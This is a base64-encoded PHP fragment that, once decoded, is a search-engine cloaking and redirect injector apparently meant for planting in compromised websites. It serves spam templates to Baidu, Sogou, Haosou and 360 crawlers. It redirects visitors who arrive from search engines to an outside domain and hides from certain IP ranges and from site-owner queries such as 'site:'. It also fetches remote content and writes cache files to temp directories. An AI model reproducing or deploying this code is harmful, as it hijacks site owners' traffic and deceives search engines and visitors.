OwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne25pY2t9JywkaXRlbV9uaWNrLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7dG90YWxGZWV9JywkaXRlbV90b3RhbEZlZSwkbGkpOwoKCQkJJGh0bWwg PSAkaHRtbC4kbGk7CgkgCQkvLyBlY2hvICRsaTsKCSAJfQoJIAkkaHRtbCA9ICRodG1sLiI8L3Vs PiI7CgkJcmV0dXJuICRodG1sOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBxdWVyeSgpewoJCSR1cmwg ID0gJHRoaXMtPmNyYXdsX3VybC4nPycuaHR0cF9idWlsZF9xdWVyeSgkdGhpcy0+cXVlcnlfZGF0 YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK